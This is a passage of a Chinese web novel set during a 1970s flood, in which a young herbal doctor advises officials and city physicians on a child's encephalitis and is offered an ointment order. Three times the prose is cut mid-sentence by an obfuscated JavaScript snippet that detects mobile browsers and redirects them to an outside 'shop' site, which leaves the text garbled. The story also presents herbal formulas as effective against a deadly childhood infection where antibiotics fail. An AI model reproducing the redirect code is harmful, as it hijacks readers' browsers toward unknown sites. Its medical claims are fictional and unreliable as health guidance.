“他知道在哪个方位,我跟他约好了,稍后咱们继续分组,由他带路,划水进下泉水大队再上山。等咱们找到生还者,再一批一批把人运过来。” 众人得知接下来会把成批进山躲避的老乡接回来,心知这些人回来后,他们这次救援任务也就接近了尾声。 只有梁含璋和团队政委知道,上级要求他们继续留在鹿鸣公社灾区。等水退后,帮助灾民清理垃圾,重建家园。 所以,一时半会他们是走不了的。 梁含璋双手搭在脑后,闭目养神,一会儿就睡着了。 与此同时,池晚已找到区医院黄主任,黄主任和冯院长仍在一起,不知道在议论什么事,好像聊得挺投入。 池晚经过帐篷口时,只听到两个字:市里。 好像他们俩聊的事跟市里某些情况有关系。 “池晚,找我们有事啊?你快进来。”她停在帐篷外,看起来像是特意来找他们,黄主任便朝她招了招手。 “对,是关于一个病人的事。” 池晚简单地说了下妞妞的情况,然后道:“妞妞现在情况不明,表面上看起来像是感冒发烧。我也不保证后期一定会转变为乙脑。但这件事我们还是提前做好准备为好。” 黄主任惊讶地看了眼冯院长,随后跟池晚说:“你的担心是对的,结合咱们周围的环境,出现乙脑的可能性是存在的。” “刚才我和冯院长说的就是这事儿,听说最近市里已经出现了乙脑患者,基本上都是儿童,五六岁左右的比较多。” “刚开始的症状很像感冒,但后续高烧会持续,患者可能会头晕头痛抽搐,如果应对不及时,是会死人的。” 谈起这件事,黄主任和冯院长面色都严肃起来。 如果说,安置点真的出现乙脑流行,黄主任担心他扛不起来这么大的责任。 冯院长说:“我记得二十年前,是55年吧,在石市曾发生过乙脑大流行。当年他们采用了以白虎汤为主的方剂,来做加减变化,遏制住了那轮流行。” 这件事黄主任也听说过,那次乙脑大流行发生时,他还年轻。 他没想到,池晚不仅知道这件事,还有自己的见解。 事关人命,不是藏拙的时候,所以池晚直接说道:“白虎汤不适合今年的这个季节。” 冯院长:…… 池晚接着说,“当年石市发生乙脑大流行时,气候和节令跟这边都完全不同。” “石市当时久晴无雨,气候炎热干燥,是暑温,用白虎汤符合当时的气候特点。” “现在是立秋前后,汝宁省这边雨水多,气候炎热,属于湿温,与当年石市发生大流行时的气候条件差得不是一星半点。” “如果再盲目套用白虎汤,会导致患者体内湿遏热伏,高烧退不下去,病情还有可能会加重,所以得调整思路,从湿温方向考量。” 她这一连串话说下来,黄主任和冯院长面上的表情从惊讶变得凝滞,好一会儿没说话。 她这番话里,没有明说五运六气,但其思路却与运气学说脱不开干系。 冯院长了解五运六气,但也仅限于了解,并没有深入研究。 所以,他知道,一些传染病能流行起来,与环境和气候有关。以五运六气的说法来说,外感之源为五运六气失常。 所以治病必先岁气,加强对于气候的重视。 他能知道这些,也是因为年纪大了,见过各种各样的患者,也看了些相关书籍。 可池晚呢?她才二十出头,以前一直生活在下泉水大队,就算她爸是大夫,就算她在她爸池映川的耳濡目染及教导下会治不少病,这也没办法解释她为什么会懂得乙脑这种传染病的防治。 这种病就连他和黄主任也不敢说能治,现在面对这类急性传染病时,为了减少风险,很多医院已经开始优先选择退烧药或抗生素等西医手段,以便尽快让患者体温降下来。 在短暂的震惊过后,冯院长有点茫然。 在公社医院以及区医院中医科,他和黄主任的理论基础是相对扎实的,这两个医院里,有相当一部分大夫前期仅接受过短期的培训,比如针灸、药学和中医基础理论的培训,就上岗了。 没办法,这时候文化水平普遍偏低,能识文断字就算半个文化人了。 所以,他们在商量过后,才让池晚进入医疗组帐篷,协助其他大夫给灾民或官兵看病。 刚才池晚说的那番话,如果是对别的大夫讲的,有些人可能都不明白池晚在讲什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16829788|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。 但冯院长明白,他感觉池晚刚才说的那番话有道理,当年石市的气候与现在的汝宁省天差地别,的确不适合套用当年使用的方剂。 另一方面,他又不知是否该给池晚足够的信任,至少在乙脑这种病方面。 如果是别的病,比如感冒,胃疼或者其他慢性病,他们可以试着让池晚接触。 但乙脑不同,它发病急,一不小心还会出人命。在没切实证据能证明池晚能治好这种病时,他们谁都不敢放权给池晚,让她出手去治。 池晚自然能猜得到他们俩的想法,她现在缺一个让人认可的身份,治治胃病没问题,就算药不对证,只要没有猛药,患者也不容易出什么大事。 乙脑不是一般的病,它发病急,病死率较高,别说是黄主任和冯院长,就算再高一点的领导可能也不敢放权给她。 所以她并没有贸然接手的想法,她想的就是尽早给他们提个醒,看看带的药材里有没有足够用来遏制湿温的药材,比如香薷、藿香、连翘、金银花、茵陈、滑石等。 于是她主动跟黄主任和冯院长说:“我没别的意思,刚才看到妞妞,临时想到这件事,就提个醒,没别的事我就先回去了。” 黄主任实在不敢让池晚介入这种病,所以他没有多说,看着池晚走了之后,他告诉冯院长:“明天检查组会过来,听说市里医院会派几个有水平的大夫随队一起过来,估摸着是要检查咱们这儿的疾病防治情况。” “我明白,在这个节骨眼上,不能出岔子,不过先前安排得也差不多了,咱俩先去看看那小姑娘。” “至于池晚所说,能应对湿温的药材,我们这儿不缺。因为来之前,我也考虑过现在的气候特点,所以让人多带了些。”冯院长说。 两个人商量着接下来的治疗安排,池晚已先行一步,回了帐篷休息。 她回去没多久,妞妞妈带着孩子回来了。回来后她第一件事是告诉池晚,医生给妞妞打了退烧针,相信今天晚上妞妞就能退烧,会慢慢好起来。 对医生这个说法,池晚不置可否。如果真是乙脑,打退烧针之后妞妞还是有可能会发烧甚至抽搐的。 但她胸前没有挂着医院的铭牌,也没有可以证明身份的白大褂,哪个正常一点的人,都不会让她介入这种凶险病例。 在打过退烧针之后,妞妞开始退烧,对此,帐篷里有些人松了口气,妞妞妈也很高兴。 池晚没再说什么,天擦黑后,她就躺在自己的铺位上睡着了。 凌晨时分,池晚刚醒,就听到了妞妞妈慌张的声音:“完了,妞妞这是怎么了,都退烧了还会发病这么厉害啊?” 池晚赶紧起身,简单整理一番衣服,想挤进人群,想看看妞妞现在到底怎么样了,是不是像别人传的那般严重? 黄主任来得很快,出现在池晚面前时,他的呼吸还没平静下来。 “池晚,你的担忧可能是真的,这不是小事,八点半左右市区领导会带几位有名气的大夫来现场,到时候可以请他们去给那女孩子做下检查。” 池晚扯了下嘴角,没表露出什么不快的态度,道:“那就等他们来了先请他们看吧。” 八点半刚过,慰问与调查小组终于在约定的时间到达安置点。 几辆车在安置点靠近公路的位置依序停下时,池晚跟着几位老乡提前找了个视野好的落脚点。 她也想看看,市里的专家打算用什么方法给妞妞治疗。 所以,车停下时,她从人群中往里挤。 10. 大灾,大疫 不怕他们来,就怕他们不来 安置点的空地上大部分都是附近几个大队的老乡,这些人从生下来就在村子里生活,去过最远的地方就是大集和区里,连市里都很少有人去。 所以他们根本没机会跟市区领导接触,这次市里和区里的领导一起来安置点,也许是他们这一生唯一见到这些人的机会。所以,几辆汽车的车门一打开,周围的乡亲们就围了过来。 作为救灾部队负责人,梁含璋也在迎接这些领导的队伍里。 公社书记提前赶来,此时他和邹副书记以及黄主任等人都站在前排,汽车一停下,他们便迎了过去。 池晚被人群裹挟着,只能看得到这些人在说话,但听不到他们在说什么,不过她想,应该就是些寒暄的话。 观望了一会儿,那几位领导转回头来,面向周围围观的老乡,一位身着中山服的中年领导率先抓住一位老乡的手跟他握手,还亲切地跟这位老乡说话。 这个过程持续了十几分钟,这队人才在邹副书记等人的陪同下,进入了被临时作为救灾指挥部的帐篷。 这次的带队的是市里的一位主任,姓郑。进入帐篷不久,他便拿到了受灾群众的表格。 在这个表格上,下泉水大队与另外两个受灾大队形成了极为鲜明的对比。在地势相当的情况下,这种对比之惨烈,任谁都不会忽略。 来之前,郑主任就听说了这件事。他这次过来,除了要对受灾群众进行慰问,还要调查一下这次受灾以及救援中,是否存在干部渎职的情况。 “下泉水的洪常兴在哪儿?”放下表格,郑主任转头看向四周,这里只有两个大队长,洪常兴不在这儿。 这两位队长的救灾表现堪称亮眼,这次也按照邹副书记安排,一起留在了这里。 作为鹿鸣公社救灾行动的实际负责人,邹副书记告诉郑主任:“据洪队长反映,他在受灾前一日因为小腿骨折在市二院做了手术。次日麻药褪去后才知村里发洪书这件事。” “前天他来过一趟,当时他腿上打着石膏。具体伤势如何,我们也只能凭他个人表述判断。” “考虑到他刚做完手术,事后我们安排人手将他送回了二院住院,免得发生术后感染及其他不良反应。至于下泉水大队的救灾行动,就只能由梁团长负责统筹安排了。” 邹副书记这番话说得听起来像是在客观地叙述,但稍微有点脑子的人都能听出来,他这是在暗戳戳地向上级告状。 也就是说,关于下泉水大队长洪常兴骨折手术的事,都是洪常兴自己说的,邹副书记本人并不清楚事实真相。 郑主任自然听出了他这番潜台词,他淡淡点了点头,说:“既然刚做完手术,那就让他在医院先住着吧,他的事稍后再看情况处理。” “梁团长,这次多亏了你及时带队赶到灾区,如果你们没有这么快赶过来,后果我简直不敢想象。” 梁含璋客气了几句,很快转入正题,把这几天救灾的情况挑重要的说了说。 帐篷外的人群虽散了,在附近空地上的老乡却不少。池晚和李翠香站在一起,李翠香小声指着车队后面一辆大卡车,悄悄告诉池晚:“看着那辆车没?是区文化局和它下边的单位派来的。” 在那辆车附近,还停着好几辆卡车,这些车都是随着市里的领导一起来的。 每辆车都隶属于不同部门,基本上都是企事业单位派来的,车上全都放了不少物资。 池晚一时没想通,为什么李翟香特意把文化局的车指出来让她看。 李翠香看她面上带着几分茫然,只好再次提点道:“汪辉就在文化局,刚才我看他在卸货,一会儿你要是见着他了,悠着点,别在这种人面前露怯。” 汪辉? 这个名字带来的熟悉感再次唤醒了沉睡的部分记忆,池晚很快想了起来,这个人应该就是原主的前未婚夫吧。 他应该是位民间诗人,小有才气,也在区里的报纸上发表了豆腐块。年初他被一位伯乐发现,介绍他进了区文化馆。 她甚至隐隐记得这个人写的两首诗的诗名,一首叫《麦浪》,另一首叫《钢铁洪流》。 看着她在发呆,李翠香怕她没听进去,就碰了她一下,再次提醒道:“晚丫头,姐可提醒你,对这种忘恩负义的人,你可千万不要心软。他要是敢再来找你,绝对不能给他好脸。” 池晚:……忘恩负义? 眼见着李翠香被人叫走去干活,池晚赶紧答应她:“放心吧,姐,我肯定不会给他好脸。” 李翠香这才放心,转身跑去抱柴禾烧火。 经过李翠香提醒,池晚又想起一些细节,前几年汪辉父亲下放到下泉水大队,一度被关在阴暗的牛棚里,身体很差。是原主父亲池映川减免医药费救了汪辉他爸。 去年汪辉父亲平反,回了区里,汪辉也进入文化馆当宣传干事。对于乡下来人说,汪家人的命算是改变了。 看着她在发呆,同一个帐篷住的老太太劝道:“晚丫头,你也别上火,现在你还没嫁过去,这时候跟他分了也是好事,总比嫁过去闹出事儿来要强。” 按她的想法,池晚没了公社医院的工作,仍是农村户口,跟汪家人现在的身份已经不在一个层次上了。就算这次勉强嫁过去,以后的日子也不一定好过。 她以为池晚刚才在发呆,就是因为心里难受。 池晚知道这位老太太想岔了,但她现在不好解释,就转移了话题,跟这老太太说:“四姑奶,我没想他们家的事。” “上次你不是跟我说,你小女儿脸上突然长了些斑吗?那个斑我昨天看了,是肝斑,大概能治。我一会儿给你写个药方,等以后有机会你让她试试。” 老太太面现惊喜,说:“真的啊?那也能治?” “嗯,差不多吧。她腹部紧实,有压痛,用桂枝茯苓丸加味大概有效。”池晚肯定地说。 老太太小女儿跟她们同住一个帐篷,头天下午池晚跟她做过接触,知道她们母女俩都在为那些斑上火,因为有了斑不好找婆家。 老太太听不懂她说的那些医理,但她没有别的门路给女儿治那些斑,所以她宁愿选择相信池晚。 “那太好了,你快帮我把药方写出来,等咱们回家了,我想法子给她抓药。”老太太的样子极为开心。 “你等我去取下纸笔。”池晚说着,回了自己住的帐篷。 冯院长给她准备子一些纸笔,不用时就放在她的铺位底下,用塑料袋包着。 她拿出纸笔,先给那位姓吴的老太太写好药方,随后开始回忆池映川当年都给汪辉那位下放的爸爸用了什么药。 想了一会儿,她还真想起来了。除了治疗心脏的药方,池映川还给汪辉他爸开了不少以黄芪桂枝五物汤为主的方剂。 除了黄芪桂枝五物汤里面的五种药材,他还在不同阶段加入了党参、当归、川牛膝、秦艽、威灵仙等药材。 对于这些药材的价格,池晚心里都有数,毕竟她才从冯院长那拿到了药材批发价格表。 桂枝生姜大枣也就算了,这些都不贵。可党参、黄芪、当归等药材哪样是便宜的? 连续吃了几个月,后面池映川又给汪家父子治过几次别的病,前前后后给他们家省下来的钱绝对不是个小数。 这些钱到现在还没付清,只付了一小部分。池映川一直没跟他们要,估计也是因为两家已经订亲。为了女儿,池映川没有跟对方计较。 拿着刚回忆出来的药方,池晚开始在旁边的草纸上进行加减乘除计算。 几位老乡看着她手中的笔不停地在纸上移动,都不明白她这是在干什么。 池晚越算越起劲,她猜到这不会是一笔小钱,等她计算过半时,药费总额还是让她吃了一惊。 她们家房子肯定被洪水冲坏了,根本就不能住人。修房子要用的钱说不定得上千块钱,所以她现在最缺的就是钱。 现在好了,瞌睡来了,就有人来给她送枕头来了! 所以,她现在不怕汪家人找她,她就怕他们不来。 她把写好的纸折叠好,小心揣在兜里。抬头时,却见到几位同村的老乡一脸怜悯地盯着她瞧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16829789|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些人刚才都瞧见了她在纸上哗哗书写计算的模样,有的人就小声跟旁边的人说:“这丫头是不是受刺激了,瞧着有点魔怔……” 池晚隐约也听到一些,但她没有去分辩的心思。 这个时间,那些领导应该已经问完了受灾群众和救灾的情况,不知道他们什么时候会提到传染病的事。 正琢磨着这事,冯院长从指挥部帐篷里走了出来。他在附近找了一圈,很快找到池晚这里。 “跟我进去吧,光于乙脑的事,领导和市里的两位大夫想跟你聊聊,听听你的看法。” 两个人进入帐篷时,洪春波就站在外围。 这次三个大队一起受灾,下泉水这么惨,他一直怕他爸会被问责。原以为上次他爸假装骨折,已经把这事儿糊弄过去了,没想到上边又派了人过来。 他当然很担心,甚至都不敢靠近,只敢远远地观望。 池晚随着冯院长进入救灾指挥部帐篷那一刻,洪春波紧咬着牙,心里七上八下地。 池晚以前跟冯院长和区医院的黄主任走得近,这就让他心里很不安了,现在冯院长又带着她去见市里和区里的那些领导,那他这份公社医院的工作还能保住吗? 他在外边惶惶不安之际,池晚已随着冯院长进入了指挥部帐篷。 梁含璋抬眼时,池晚已逆着光进来,出现在众人面前时,她完全没有普通乡下女孩见到大领导时可能会有的局促模样。 这份坦然,在梁含璋预料之中,但帐篷里的郑主任等人却多少有几分惊讶。 她坦然镇定的态度是一方面,另一方面则是,这姑娘实在太年轻了。 “这位是市里的郑主任……”冯院长带着池晚进来后,便把几位领导介绍给她。 在郑主任身后不远处,还坐着两个四五十岁的中年人。 “这两位都是市二院的大夫,楚大夫是呼吸科的,这位庞大夫跟你父亲一样,都是中医。” “这两位大夫想向你了解下,关于这次流行性乙脑的治疗,你的具体建议是什么?” 冯院长说话时,那两位大夫都客气地冲着池晚点了点头。 客气归客气,但他们眼里的疑惑以及观望态度也挺明显。显然他们对于池晚的实力并不是很认可。 对此,池晚不以为意,也没有耽误大家的时间,等冯院长说完话,她就直接了当地说,“关于乙脑的治疗,按流行发生的节令以及气候条件,主要可以归类成八种治疗方法。” 八种治疗方法?她居然还会归类的吗? 池晚的话成功地吸引了在场所有人的注意,就连市里的郑主任都认真地竖起耳朵,想听听接下来她会怎么说。 池晚没有让他们久等,紧接着说道:“想一次性说清楚,会比较复杂。我今天先挑主要的、跟这次流行相关性较强地说一下。关于55 年,石市那场乙脑大流行,其治法当为辛凉透邪法,其邪在气分,所以当时用白虎汤为主的方剂来治疗是有效的。” “但这次发生在汝宁省的乙脑情况不同,现在还是炎夏,又发了洪水,属于暑湿并重的情况,治疗时应该用通阳利湿之法。” 暑湿并重,通阳利湿,后面的庞大夫听到这里,推了推鼻梁上的眼镜,认真地看向池晚。 “至于具体用什么方剂,要看患者表现,再考虑用哪种药方。不过药方都是现成的,大概有十种左右。” “…如果属于湿郁三焦,按具体情况,所使用的方剂大致可以分为一加正气散,二加正气散,直至五加正气散…” 梁含璋听她说这番话如同在听天书,郑主任等人何尝不是如此? 虽然听不懂,却又觉得她能说得这么清楚,好像还挺厉害的。 冯院长也注意到,坐在郑主任身后的老中医庞大夫似乎越听越感兴趣。 果然,池晚话音刚落,庞大夫就主动提议道:“你这些说法从理论上来说,是有道理的。” “这样吧,我们把那位小患者请过来,再根据她的情况,来探讨下具体方剂。至于用不用,还要看她家长的意见,你同意吗?” 11.大灾,大疫 第一批大订单 对于二院楚大夫和庞大夫的态度,池晚有一点意外。 她现在的身份只是一个乡下郎中的女儿,这两位却在本市最好的一个医院当大夫。对于她说的话,他们俩怎么连一点质疑都没有? 至于刁难,就更不存在了。 池晚不知道的是,最近本市以至于汝宁省,已经出现了乙脑流行的趋势。近十天内,光是二院呼吸科就接诊了六名被确诊为乙脑的患儿。 这些患儿入院后基本都接受了抗生素治疗,以便让他们尽快退烧。 从结果来看,并不乐观,好几个患儿使用抗生素后并没有成功退烧,后期病情反而有加重趋势,有一名患儿已经失去了生命体征。 二院呼吸科的大夫们最近都忙得不可开交,连着开了好几次会,试图找出控制乙脑流行的有效方法,但结果并不理想。 楚大夫就在呼吸科,对于这件事的前因后果,他最清楚不过。 但要说解决方案,作为西医,他没有什么更好的办法。 中医科的庞大夫倒是有自己的想法,也认为自己有能力治好这类患儿。可他早年被下放到了农村,九个月前才平反,进入二院刚过半年,在这么短的时间内,他在二院的话语权还不够强。 就算他在会议上发了言,也没有得到足够的重视,他所提出的方法也没有得到认可,自然就没有应用到患儿身上。 刚才池晚所说的治疗方案,跟他想的虽然并不完全相同,但湿热并重这一思路,跟他的意见是一致的,就连用药方向,也是大差不差。 所以池晚刚才所说的话竟给他带来了一丝希望,哪怕这个希望比较渺茫,他也打算试一试。万一要是成了,那本市以至于汝宁全省日益泛滥的乙脑流行会不会因此而得到解决? 所以,他很愿意跟池晚继续探讨一番。如果他们能在安置点找到可行的治疗方案,那就意味着,这次省内乙脑流行或许因此找到了一把解决的钥匙。 作为大夫,他太清楚这件事的含金量了。所以,在这个时候,别说让他刁难池晚了,他巴不得她多说几句话呢。 “既然各位领导和前辈都愿意试试,我自然没意见。”池晚说。 她心里有数,在千禧年之后没几年,国家就在全国范围内普及了免费乙脑疫苗,在城市里已经很难碰到乙脑患儿了。 但她曾师从于一位擅治时疫的中医大师,不仅看过这位大师在五十至七十年代之间的大量医案,还曾跟师进入偏远地区数月,给当地人包括当地患儿进行义诊。 这些活动极大地提高了她的医术,也给了她接触各类传染病患儿的机会,使得她在年纪轻轻时,就成为院内口碑最好的中医之一。 有了这些基础,现在让她处理安置点这几个病号,并不是什么难事。 就算这里有市里和区里的领导坐镇,她也没有什么可心虚的。 市里的郑主任打量着她,他能感觉到这个女孩的自信。从区医院黄主任等人的讲述中,这个女孩应该不是个狂妄的人,那她会如此自信,是否说明,对于这种病,她确实有自己的办法? 想到这种可能,郑主任还挺期待的。 得到池晚的同意,区医院黄主任马上让人去把妞妞母女带到了救灾指挥部。 妞妞这时已经快要陷入昏迷不醒的地步了,一位护士小心地把她放到床上,说:“刚给她量了体温,高烧39.5度,一直不退烧。” 池晚随着二院的两位大夫上前,楚大夫摸了摸妞妞的额头,确实很烫。这个温度如果再降不下去,时间长了,说不定会有生命危险。 妞妞妈妈站在旁边,她头天晚上一夜没睡,这时看到几位中年大夫围过来,她像遇到救星一样,在旁边小声哀求着:“求求你们,救救我家妞妞吧,她才五岁,还小呢。” 公社医院冯院长赶紧把她请到一边,说:“先让大夫看看吧,如果有办法,他们一定会尽力的。咱们别耽误孩子看病。” 妞妞妈这才住了嘴,她在旁边站着,竟发现,池晚跟着那几位中年大夫一起上前,还给她女儿妞妞诊了脉。 这个举动让她极为疑惑,池晚跟她一样都是灾民,她也知道池晚会点医术,还给救灾的战士和老乡配了伤药膏。但她女儿不是一般的小病,哪怕她不懂医,也能猜出来,再不及时治疗,妞妞可能会死。 这么严重的病,她不相信池晚这样的小姑娘会治。所以,看到池晚上前那一刻,她就警惕地盯着池晚。 “都诊过脉了,咱们先过去,商量下药方吧。”二院中医庞大夫把手从妞妞腕上拿开,示意池晚跟他一起先去桌边坐着。那边有纸笔,如果商量好了,直接就可以把药方写出来。 “楚大夫,你先说说看。”庞大夫没有急于开口,先看向与他同来的呼吸科大夫。 “如果我说的话,所采用的方法跟我们在二院的方案基本相同。这边也有青霉素,我刚看过这孩子这两天的病历,还没注射过青霉素,如果确实要用,得询问过敏史,然后再注射。” 妞妞妈在旁边赶紧说:“没有,这孩子不过敏,以前在公社医院扎过针,没事的。” 经过她这一打断,庞大夫停了片刻,等她不说话了,庞大夫才道:“这个方法有一定效果,但从我们最近经验看,并不能保证患儿会痊愈。” 楚大夫清楚这一点,所以他说:“你们俩从中医角度谈谈吧。” “行,我先说吧。”庞大夫没有推诿,当下说道:“患儿高热、头痛、嗜睡,已见昏迷,目赤小便黄,无汗。我认可池晚刚才湿热并重的说法,因为病情复杂,全程不可能用一个方子,要分几个阶段治疗。” “第一个阶段,宜投入辛凉重剂,以达到快速降温的目标。” “第二阶段,重在消暑利湿,令体内暑湿之邪退去。稍后还要开善后方,这一点,要看其后续康复情况而定,主要目的是清热和胃,令患儿身体逐渐恢复正常。” 说到这儿,他转头看向池晚,“你的意见呢?” 从庞大夫所说的话里,池晚多少听出来,这位大夫不是普通人。 其治疗分步走的思路很合她的心意,对于复杂疾病,很难用一个方子贯穿始终,只有分步走,按照病情改变,及时调整方剂才是良策。 “庞大夫,我觉得你的想法没什么问题。目前最重要的确实是尽快降温,安全起见,除了石膏、金银花以及连翘这类药,可以再加知母以及粳米。” “可以可以,我看行,再加淡豆豉、淡竹叶和鲜芦根你看如何?”庞大夫越听池晚说话越满意,池晚能这么说,说明她在用药时不会滥用攻伐之药,会充分考虑到药物对患者身体的影响。 “我看行,可以再加少许葱白,还有炙甘草以调和药性。” 两个人三言两语,一边说一边写,很快便将第一阶段的药开了出来。 妞妞妈满脸疑惑,看着沉默的楚大夫,眼神在池晚与中医庞大夫之间来回移动。 这跟她想象得完全不一样,给她女儿治病的大夫中间怎么还有池晚呢? 池晚天天跟她在一起吃住,越熟悉,她越没办法相信池晚会治她女儿的病。 看到池晚已经和庞大夫在商量第二阶段的用药了,妞妞妈犹豫了一下,想说话,到底没敢打断。 过了大概七八分钟,池晚和庞大夫终于商量好了,在他们面前,放着两张处方笺,最上面那一张,写的就是第一阶段的处方。 “如果患儿家长同意,我们打算现在就开始给这孩子用药。”庞大夫拿起药方,手指在药方上弹了弹,心里觉得很畅快。他感觉这几年内,池晚是最能听得懂他说话的人。 “患儿家长是什么意见,同意吗?”庞大夫转头看向妞妞妈,他这时已发现妞妞妈神情有异,仿佛有话要说。 市里的郑书记等人就在旁边,刚才他们也在商量别的事,对于池晚和庞大夫的谈话,他们也听了个大概,知道药方已经研究出来了。 没想到,妞妞妈居然看向二院楚大夫,迟疑片刻,说:“能……能不能先给妞妞打点消炎针,打针退烧快。不行的话,再给她喝中药行吗?” 池晚瞧了眼妞妞妈,看到对方在回避她,她便没吱声。 道不轻传、医不叩门的道理她再懂不过,如果家属不愿意用她的方法,她也不可能强求。 作为中医 ,庞大夫何尝不知道这个理? 他叹了口气,说:“如果你坚持的话,可以按你的意思办。” 楚大夫严肃地告诉妞妞妈:“大姐,我们医院最近半个月接诊了数位乙脑患儿,用的就是你说的治疗方法。目前有三个病例已脱离危险,两个病例无效,一例已死亡。” “风险是存在的,如果你同意,来这儿签个字,我们马上给这孩子进行治疗。” 他们说话的时候,妞妞已经开始了抽搐,妞妞妈心里害怕,治疗的事儿真的不能再拖了。 她想着,不管怎么说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833641|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是有三个人已经脱离危险了吗?就算仍有危险,她也不敢让自己孩子用池晚开出来的药方。 于是她点头道:“我签字,求求你们,赶紧给我孩子用药吧。” 听了她的话,区医院黄主任马上让人拿来一份病情告知书,让她在右下角签上自己的名字,随后再让人把妞妞抱回传染病患儿专用的帐篷。 看着妞妞被人抱走,池晚没再留下来,她跟在场的几位客气地打过招呼,便走出了临时指挥部。 本打算先回帐篷休息,走到半路时,有个人竟叫住了她。 “梁团长,你叫我啊?”看到身后的梁含璋,池晚有点惊讶。 刚认识第一天,梁含璋救了她,除此之外,两个人之间似乎没有交集。 池晚本打算找个机会谢谢他的救命之恩,但她现在是个灾民,身无长物,她就把感谢的念头暂时放下,打算等以后机会合适了,再去找梁含璋专程道谢。 “对,找你说件事。我这两天打电话跟团里的政委商量了一下,我们打算找你采购一批伤药。等水退后,你有时间了,可以先做一百瓶。瓶子大小与你上次用的差不多就行。我们可以预付材料款,等你交付膏药,再付尾款。” 池晚一脸惊喜地看着梁含璋,感觉他比平时又帅了几分。 一百瓶膏药,那她得赚多少钱啊! 她现在最缺的就是钱,再没有进项,她真的要吃土了。 想到这儿,她眼神亮亮地看着梁含璋,说:“太好了,感谢梁团长给我这个机会。等稍后空下来,我一定尽快把膏药做好,并且还会附赠一些其他种类的膏方。” 她态度太热情了,面对她盯着金元宝一样的眼神,梁含璋有点吃不消了。 他没有多少与女孩子打交道的经验,赶紧说:“不着急,等水退了,我们部队会留下来,协助地方清运垃圾,到时候你有空了再做。” “一定一定。对了梁团,这件事咱们说定了,你可不能反悔。”池晚生怕梁含璋变卦,连忙又补充了一句。 “不会,你放心。”梁含璋说完,转身就走了。 刚才池晚和庞大夫商量好了药方,却被妞妞妈妈拒绝,当时他怕池晚心里不舒服,便跟在她身后走出了指挥部,顺便把采购膏药的事通知她。 现在看来,他这个做法很有效,一提赚钱,池晚心情就好了。 正想着这事,小田跑过来找他:“团长,刚才政委来电话了,他让我通知你,明天他会带人过来。” “还有件事,政委没说,不过我听他说话声音好像不对,嗓子哑得厉害,好像病了。” 想到大堤附近的环境,梁含璋也担心起来。政委跟他搭班子长达五年,两个人之间的情分不是一般人可比。 好在安置点这边有不少大夫在,他想着,政委如果真有病了,那他明天过来,可以请这些大夫给他看看病。 时间过得很快,中午刚过,郑主任就带着几位随行领导离开了安置点。临走时,他跟鹿鸣公社的邹副书记留了口风,关于下泉水大队长洪常兴的事,他那边会派人去调查手术以及住院的真伪。 在真相没有水落石出之前,不要传出去,以免让对方有所准备,反而给调查带来麻烦。 所以这些领导走后,邹副书记什么都没说,也没有为难过洪春波。一来二去,洪春波以为他爸爸没什么事了。 当天傍晚,池晚正在帐篷里写字,妞妞妈忽然满脸泪痕地闯进来,揪住她的衣袖乞求道:“妞妞又抽了,浑身发烫,人也糊涂了,怎么办?求求你帮忙想想办法吧。” 这时二院两位大夫都在安置点,并没有随着几位市区领导离开。 这个结果,池晚之前已经预料到,想必那两位大夫心里也是有数的。 池晚放下手上的笔,帐篷里的人也都围了过来。 下泉水那位吴老太太说:“听说晚丫头跟市里的大夫商量出了药方,你不是害怕,不敢给孩子用吗?” “我……我,我实在没办法了,要不,要不,就给妞妞试试你们开的那个药方吧,行不行?” 妞妞妈已急得语无伦次,就差跪下来了。 池晚站了起来,说:“先去看看吧,如果你真的同意试药,稍后还得签个字。” “这种病风险较大,又耽搁了八/九个小时,拖得有点久了,我也不敢保证效果。” “我签!”见池晚答应了,妞妞妈赶紧站起来,拽着池晚胳膊,就往帐篷外走。 12.大灾,大疫 账单已送达 目前安置点只有妞妞一个乙脑患儿,她独自待在一个小帐篷里。 这两天梁含璋带人陆续从山上接回来四五十个村民,因为船只有限,还没有接完。这些躲到山上的灾民中,有些人是带着孩子上的山,所以这两天来到安置点的小孩越来越多。 池晚从帐篷里出来时,还看到几个从四五岁到十岁左右的孩子在空地上追逐着玩。 半路上,池晚碰到了冯院长。看了看池晚身后的妞妞妈,冯院长已猜出了妞妞妈的意图。 他这一天一直在跟进妞妞的病情,自然知道,妞妞用过抗生素后并没有成功退烧,现在神志不清,已完全陷入昏迷中。 因为高热不退,她抽搐的频率比早上还要频繁些。在这种情况下,如果妞妞妈继续维持之前的决定,妞妞是不会好起来的。 “冯院长,妞妞妈同意使用我们上午研究出来的治疗方案,之前的病情通知书还有吧?让她签个字。”池晚叫住了迎面走来的冯院长。 